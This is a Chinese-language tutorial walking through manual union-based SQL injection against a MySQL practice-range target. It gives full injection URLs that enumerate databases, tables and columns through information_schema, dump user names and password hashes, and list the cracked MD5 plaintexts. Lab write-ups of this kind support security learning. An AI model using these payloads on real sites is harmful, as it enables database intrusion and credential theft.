SQL手工注入笔记1

MySQL 数据库
SQL手工注入漏洞测试(MySQL数据库)
参考链接
实战靶场链接

首先先复习以下MySQL自带表中记录的信息

information_schema数据库中的
'SCHEMATA' 表记录整个数据库服务器中的库名称 ,'SCHEMA_NAME'为库名.
'TABLES'表记录每个库中的所有表名,'TABLE_SCHEMA'为库名,'TABLE_NAME'为对应的表名(多行).
'COLUMNS'表记录着服务器数据库中所有表的字段 'TABLE_SCHEMA'对应数据库名,'TABLE_NAME'对应表名,'COLUMN_NAME'对应字段名,'COLUMN_TYPE'对应字段数据类型.

首先,确定是否可以注入

1.PNG
地址栏在id=1 后面输入 and 1 = 2,

http://219.153.49.228:46538/new_list.php?id=1 and 1 = 2

相当于在数据库执行了以下语句

select * from '表名未知' WHERE id = 1 and 1 = 2

在sql中,WHERE 后接条件,AND表示和,比如:
X AND Y
需要 X 和 Y同时为真,也就是同时正确,sql服务器才会返回数据,然而1=2显然是错误的,所以返回结果为空

回车发现报错,可以注入.

判断表中字段数.

浏览器地址栏输入

http://219.153.49.228:46538/new_list.php?id=1 order by 5

sql语句

select * from '表名未知' WHERE id = 1 order by 5

结果:
2.PNG
报错,证明当前表中字段不超过5个字段.
将5换为4

http://219.153.49.228:46538/new_list.php?id=1 order by 4

结果:
4.PNG

正常.(order by要试到最大且不报错的数字).

判断显示的文本所在的字段.

浏览器输入

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4

结果:

4.PNG

sql语句

select * from 表名 WHERE id = 1 AND 1=2 union select 1,2,3,4

可以看到本应是标题的文字变为了2,正文变为了3

union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4.


我们再去自己的数据库看看:

这是正常的查询语句

select * from 'stuinfo' WHERE id = 1

5.png

加上and 1 = 2后

select * from 'stuinfo' WHERE id = 1 and 1 = 2

7.png
and 1 = 2不成立,所以返回了空结果

再加上union select 1,2,3,4,5,6,7,8(因为我的表有八个字段)

select * from 'stuinfo' WHERE id = 1 and 1 = 2 union select 1,2,3,4,5,6,7,8

6.png

union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4,5,6,7,8.

可以看到,原来的结果全部替换为了1到8,这就是为什么标题和正文被替换成了2和3.


所以我们可以在

中的2和3替换查询我们需要的数据(字段).

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4

union为联合查询,联结两个查询语句(select*)

查询当前数据库名称和数据库版本:

浏览器输入:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,database(),version(),4

结果:
8.PNG

图中可以看到当前数据库名称为'mozhe_Discuz_StormGroup',数据库版本以及服务器系统版本为'5.7.22-0ubuntu0.16.04.1'

查询整个服务器中全部库名称

这里要用到我们之前提到的'information_schema服务器数据库'中'SCHEMATA'表


我们先看看SCHEMATA表的信息(我自己的服务器)

15.png
可以看到整个服务器中的数据库名都在这里.

再看看查询语句的结果:

SELECT * FROM `SCHEMATA`

16.png

可以看到列出了全部结果,如果我们只需要第一条数据怎么办?

SELECT * FROM `SCHEMATA`  limit 0,1 

17.png

可以再语句后添加limit 0,1

0表示从所有结果中在第一行开始取数据,后面的1表示从取出的数据中显示一条数据.

取第二条数据:

SELECT * FROM `SCHEMATA`  limit 1,1 

18.png

1表示从所有结果中在第2行开始取数据,后面的1表示从取出的数据中显示一条数据.


获取靶机服务器中全部数据库名:

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

结果:
9.PNG

'SCHEMA_NAME'为需要查询表的字段名,from后接在哪里查询

'information_schema.SCHEMATA' 指的是在
information_schema这个数据库中的SCHEMATA表.

limit 0,1 是在结果中的第0行取出1行 (以为我们这里只能显示一行数据,我们只要单行结果)

所以我们得到整个服务器数据库中'information_schema'是第一个数据库

继续浏览器,将limit 0,1改为limit 1,1,取第二行

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

结果
10.PNG

可以看到第二个数据库为'mozhe_
Discuz_StormGroup'

继续 将limit 1,1改为limit 2,1,取第三行

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

结果:
11.PNG

得到第三个数据库为'mysql'

继续 limit 2,1 > limit 3,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

结果:
12.PNG

得到第四个数据库为'performance_schema'

继续 limit 3,1 > limit 4,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

结果:
13.PNG

第五个数据库为'sys'

继续 limit 4,1 > limit 5,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

结果:
14.PNG
可以看到结果为空,也就是说服务器中只有五个数据库:

序号库名称
1information_schema
2mozhe_Discuz_StormGroup
3mysql
4performance_schema
5sys

从中可以看到,只有'mozhe_
Discuz_StormGroup'这个库是和我们需要的有关联.
因此,我们需要查询下这个库中有那些表,以获得我们需要的密码.

查询指定库中所有表

查询库名称:mozhe_
Discuz_StormGroup

这里要用到information_schema库中的TABLES 表


先看看这个TABLES表结构(自己服务器):
19.png

可以看到,表中字段'TABLE_SCHEMA'对应的是库名称,同行中的'TABLE
_NAME'是这个库中的表名称.
如果说我想查询'wordpress'这个库中的全部表

SELECT * FROM `TABLES` WHERE `TABLE_SCHEMA` = 'typecho'

结果:
20.png

可以看到库名为'typecho'的库中的所有表信息.
因为我们这里只需要一行一行地查询,所以要在后面加上limit x ,x .


靶机:

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

结果:
21.PNG
'TABLE_NAME'为表名, from 后接库名.表名
WHERE 后接 条件

limit 0 ,1 取出结果第一条数据.

这里使用的是 查询 'TABLE
_SCHEMA' 为 'mozhe
_
Discuz_StormGroup' 的数据,显示查询结果中的'TABLE
_NAME'字段的信息,并只取1条

得到第一张表为'StormGroup_member'

继续 取第二条数据: limit 0,1 > limit 1,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

结果:
22.PNG
得到第二张表为'notice'

继续 limit 1,1 > limit 2,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

结果:
23.PNG
空,即是无,这个库只有两张表.

序号库名表名
1mozhe_Discuz_StormGroupStormGroup_member
2mozhe_Discuz_StormGroupnotice

查询表字段

这里用到information_schema库中的COLUMNS表.
先看看这张表的结构.

SELECT * FROM `COLUMNS`

24.png

直接上表吧.

字段含义备注
TABLE_SCHEMA数据库名称
TABLE_NAME表名
COLUMN_NAME字段名
DATA_TYPE字段数据类型没截到,图中没有

如果我们要查库名为'test1'里的'stuinfo'表的话

SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` = 'test1' AND `TABLE_NAME` = 'stuinfo'

25.png

FROM后接表名
WHERE后接条件
AND连接两个条件,两个条件必须存在且完全正确才返回结果.前面的'and 1 = 2'就是让原来的查询结果返回空值
如果要返回一条结果,用limit.


靶机:

这次我们赌StormGroup_member表有我们需要的数据.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

26.PNG

WHERE 后面的

TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

TABLE_SCHEMA='库名'
TABLE
_NAME='表名'
limit 0,1 取第一行数据.

union后面的:

select 1,COLUMN_NAME,COLUMN_TYPE,4

分别在2和3显示'COLUMN_NAME'和'COLUMN
_TYPE'字段的数据.

图中可以看到表'StormGroup_member'第一个字段为'id',数据类型为'int(11)'

然后继续 limit 0,1 > limit 1,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

27.PNG

得到第二个字段为'name',数据类型为'varchar(20)'

继续: limit 1,1 > limit 2,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1

28.PNG
第三字段为'password' 数据类型'varchar(255)'

继续 limit 2,1 > limit 3,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1

29.PNG
第四字段为'status' 数据类型'int(11)'

继续 limit 3,1 > limit 4,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

30.PNG

空即无,我们得到了以下数据:

序号数据库表名字段名数据类型
1mozhe_Discuz_StormGroupStormGroup_memberidint(11)
2mozhe_Discuz_StormGroupStormGroup_membernamevarchar(20)
3mozhe_Discuz_StormGroupStormGroup_memberpasswordvarchar(255)
4mozhe_Discuz_StormGroupStormGroup_memberstatusint(11)

查询表中有几条数据

count()函数在MySQL中是统计结果的行数.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,count(*),4  from mozhe_Discuz_StormGroup.StormGroup_member

31.PNG

from mozhcounte_Discuz_StormGroup.StormGroup_member  

在 mozhe_Discuz_StormGroup 库中的 StormGroup_member 表查询

count(*)返回结果条数

从图中可以看到有2条记录

查询表中记录的值

因为只显示两个字段信息,先查询name和password字段.

也可以使用CONCAT()函数来连接多个字段的结果,这里使用最笨的方法.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

32.PNG
得到name和password字段信息
再次查询status字段信息:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

33.PNG
得到status为0.

因为之前查询到表中有两条记录,所以我们查询第二条
limit 0,1 > limit 1,1

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

34.PNG
查status

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

35.PNG

得到以下信息:

序号namepasswordstatus
1mozhe356f589a7df439f6f744ff19bb8092c00
2mozhe625cea684400c06679e63e798755a3501

status我感觉为1的是激活的,0为禁用的.
通常来说,password是使用MD5加密,我们去网上解密.
得到结果:

序号namepasswordstatus
1mozhedsan130
2mozhe1775721

然后登录后台,结束.